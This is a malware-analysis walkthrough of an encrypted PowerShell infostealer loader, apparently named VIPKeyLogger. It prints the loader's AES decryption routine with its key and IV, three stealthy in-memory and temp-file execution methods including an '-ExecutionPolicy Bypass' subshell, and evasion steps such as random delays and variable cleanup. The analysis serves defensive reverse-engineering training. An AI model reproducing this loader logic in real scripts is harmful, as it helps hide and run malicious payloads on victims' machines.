InfoStealer
VIPKeyLogger - ENCRYPTED.ps1
- Author
- Moise Medici
- Updated
- 09 May 2026 · Completed
- Difficulty
- Easy
- Platform
- Capabilities
- Tags
Powershell Code Analysis
The file, if opened with any text editor, will show the following PowerShell code. The author has been very kind to leave comments and variable names. In the code below, the whole content of CipherMatrix has been removed since it is about 3k lines long. However, it will be shown shortly how to extract it.
The first step could be to have a high-level view of what the script is doing, and if there are functions, when they are executed. Obviously, since there is a huge block of encoded/encrypted text, a big focus will be to understand when and how it gets executed. Possibly, the lines that are more telling are those highlighted in the code block below.
# MATRIX DECRYPTION SYSTEM - Layered Defense Pattern# LAYER 1: Data Reconstruction$CipherMatrix = @( "OXteaNES8wmdAmvmJF2GujaR+DnhAsTrRAR3AGEtL4reTtz805qSGVtxUipyRNlvR+fBge9CcPDMg7BdUIPtVF0P7zyqVZ0JD3fzUBIo59kWAOofLTIqzMIGaTMlf8v8JY6xBrJps9mOPapDvWwvmt6WwoPDryGfMjATddsmhg9dLwwyA5UG6r9vEeQVHQvG6EV8njGI3CiOYRNvsCt+omPZRFAjzQQRhXqokv3gRFzEeipKnEtDhCjaXaJ0RqjLwrE8xTnMbR5vmRdLcjMEn8XSsXV0mK7GDk7470CFS8jM/Z4fhWfAkqBQspj0YXyd6FqsmBukPZBLJRKw6otVxQ==",
< huge amount of code>
"PzHHnpMKuin2HKN2k7Kq4U4Sw0BPLP3c5dYTMCT7sHDF4GnFtEO3RyIYzxttrokp"
)$KeyCipher = "IOEUkF/1zfTTrASivTjQi7l+qZOiwJY6tPPj844/ymk="$VectorCipher = "Ha9b/CLnDkgPv7AxPpvSYA=="
# LAYER 2: Core Transformation Functionsfunction Resolve-EncryptionKey { param([string]$CipherText)
$DecodeAttempts = @( { [System.Convert]::FromBase64String($CipherText) }, { $bytes = [System.Convert]::FromBase64String($CipherText) $bytes[0..($bytes.Length-1)] }, { $decoded = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($CipherText)) [System.Text.Encoding]::UTF8.GetBytes($decoded) } )
foreach ($attempt in $DecodeAttempts) { try { return & $attempt } catch { continue } } return $null}
function Assemble-DataMatrix { param([string[]]$Fragments)
$byteStream = [System.Collections.Generic.List[byte]]::new() foreach ($fragment in $Fragments) { $decoded = [System.Convert]::FromBase64String($fragment) $byteStream.AddRange($decoded) } return $byteStream.ToArray()}
function Process-CipherBlock { param( [byte[]]$DataStream, [byte[]]$CipherKey, [byte[]]$InitVector )
# Create AES provider with reverse engineering protection $AesEngine = [System.Security.Cryptography.Aes]::Create() $AesEngine.Mode = [System.Security.Cryptography.CipherMode]::CBC $AesEngine.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7 $AesEngine.KeySize = 256 $AesEngine.BlockSize = 128
# Apply key and IV through multiple assignments $KeyBuffer = New-Object byte[] 32 [System.Buffer]::BlockCopy($CipherKey, 0, $KeyBuffer, 0, [Math]::Min($CipherKey.Length, 32)) $AesEngine.Key = $KeyBuffer
$IVBuffer = New-Object byte[] 16 [System.Buffer]::BlockCopy($InitVector, 0, $IVBuffer, 0, [Math]::Min($InitVector.Length, 16)) $AesEngine.IV = $IVBuffer
# Perform decryption with memory optimization $Decryptor = $AesEngine.CreateDecryptor() $MemoryStream = New-Object System.IO.MemoryStream($DataStream, 0, $DataStream.Length) $CryptoStream = New-Object System.Security.Cryptography.CryptoStream( $MemoryStream, $Decryptor, [System.Security.Cryptography.CryptoStreamMode]::Read )
$ResultStream = New-Object System.IO.MemoryStream $CryptoStream.CopyTo($ResultStream)
$CryptoStream.Dispose() $MemoryStream.Dispose() $AesEngine.Dispose()
return $ResultStream.ToArray()}
# LAYER 3: Execution Engine with Anti-Debuggingfunction Invoke-StealthExecution { param([string]$ScriptPayload)
# Multiple execution vectors $ExecutionVectors = @( { param($s) $scriptBlock = [scriptblock]::Create($s) & $scriptBlock }, { param($s) $tempFile = [System.IO.Path]::GetTempFileName() + ".ps1" [System.IO.File]::WriteAllText($tempFile, $s) & $tempFile Remove-Item $tempFile -Force }, { param($s) $encoded = [System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes($s)) powershell -EncodedCommand $encoded -NoProfile -ExecutionPolicy Bypass } )
# Rotate execution methods $rotationSeed = (Get-Date).Millisecond % $ExecutionVectors.Count $selectedVector = $ExecutionVectors[$rotationSeed]
return & $selectedVector $ScriptPayload}
# LAYER 4: Main Orchestration Sequencefunction Initiate-DecryptionSequence { # Phase 1: Material Reconstruction Write-Verbose "[+] Assembling cipher matrix..." $CipherStream = Assemble-DataMatrix -Fragments $CipherMatrix
Write-Verbose "[+] Resolving encryption components..." $DecryptionKey = Resolve-EncryptionKey -CipherText $KeyCipher $InitializationVector = Resolve-EncryptionKey -CipherText $VectorCipher
if (-not $DecryptionKey -or -not $InitializationVector) { throw "Failed to resolve encryption materials" }
# Phase 2: Data Processing Write-Verbose "[+] Processing cipher blocks..." $DecryptedBytes = Process-CipherBlock -DataStream $CipherStream ` -CipherKey $DecryptionKey ` -InitVector $InitializationVector
if (-not $DecryptedBytes) { throw "Decryption process failed" }
# Phase 3: Payload Reconstruction Write-Verbose "[+] Reconstructing payload..." $DecryptedScript = [System.Text.Encoding]::UTF8.GetString($DecryptedBytes)
return $DecryptedScript}
# LAYER 5: Execution Frameworktry { # Environmental checks if ($env:PROCESSOR_ARCHITECTURE -notmatch "64|86") { throw "Unsupported architecture" }
# Random delay to avoid pattern recognition $DelayInterval = Get-Random -Minimum 50 -Maximum 300 Start-Sleep -Milliseconds $DelayInterval
# Execute decryption sequence $FinalPayload = Initiate-DecryptionSequence
if ($FinalPayload) { # Clean execution environment Remove-Variable -Name CipherMatrix, KeyCipher, VectorCipher -Force -ErrorAction SilentlyContinue [System.GC]::Collect() [System.GC]::WaitForPendingFinalizers()
# Execute with obfuscation Invoke-StealthExecution -ScriptPayload $FinalPayload }} catch { $ErrorSignal = $_.Exception.Message Write-Debug "[MATRIX_FAILURE] $ErrorSignal" exit 1}
# Cleanup artifactsGet-Variable | Where-Object { $_.Name -match "Cipher|Key|Vector|Matrix" } | Remove-Variable -Force[System.GC]::Collect()[System.GC]::WaitForPendingFinalizers()The choice of these lines is simply that they seem to be giving more context on what the script is doing. Looking at CipherMatrix first:
$CipherMatrix = @( "OXteaNES8wmdAmvmJF2GujaR+DnhAsTrRAR3AGEtL4reTtz805qSGVtxUipyRNlvR+fBge9CcPDMg7BdUIPtVF0P7zyqVZ0JD3fzUBIo59kWAOofLTIqzMIGaTMlf8v8JY6xBrJps9mOPapDvWwvmt6WwoPDryGfMjATddsmhg9dLwwyA5UG6r9vEeQVHQvG6EV8njGI3CiOYRNvsCt+omPZRFAjzQQRhXqokv3gRFzEeipKnEtDhCjaXaJ0RqjLwrE8xTnMbR5vmRdLcjMEn8XSsXV0mK7GDk7470CFS8jM/Z4fhWfAkqBQspj0YXyd6FqsmBukPZBLJRKw6otVxQ==",The last two characters (==) are very common padding for Base64 encoding. So while looking at the code, it is useful to see if there is a Base64 decoding function, which is found here:
{ [System.Convert]::FromBase64String($CipherText) },Also, note that the CipherText variable is Base64 encoded, and this can be understood by the presence of + and / in the string. These symbols often come from a previous encryption or encoding of the string. Since plain text contains predictable byte patterns, the Base64 representation often happens to map mostly to letters and numbers. Compression like Gzip produces high entropy, almost random bytes, so Base64 encoding of that data naturally uses the full alphabet, including + and /. In CyberChef this behavior can be observed 1, and the link in the caption provides a prepared recipe that demonstrates what is described above.
Now it is useful to keep in mind that the goal is to locate a decompression or decryption functionality, which is found at line 73:
$Decryptor = $AesEngine.CreateDecryptor()This should be enough to understand how to get the cleartext value of the string. The last thing to look for is whether the sample is going to write to file or execute the code directly.
Here it seems like it might be doing both, since the $tempFile, whatever that is going to be, is executed by the call operator (& 2) before getting deleted.
$tempFile = [System.IO.Path]::GetTempFileName() + ".ps1"[System.IO.File]::WriteAllText($tempFile, $s)& $tempFileRemove-Item $tempFile -ForceLastly, the FinalPayload variable is used as argument of the custom function Invoke-StealthExecution:
Invoke-StealthExecution -ScriptPayload $FinalPayloadWhich inside invokes a new PowerShell subshell and executes the argument passed:
powershell -EncodedCommand $encoded -NoProfile -ExecutionPolicy BypassNote that the -NoProfile 3 and -ExecutionPolicy Bypass are typical of malware, even though they were originally meant for configuration scripts 4:
Bypass:
Nothing is blocked and there are no warnings or prompts.
This execution policy is designed for configurations in which a PowerShell script is built into a larger application or for configurations in which PowerShell is the foundation for a program that has its own security model.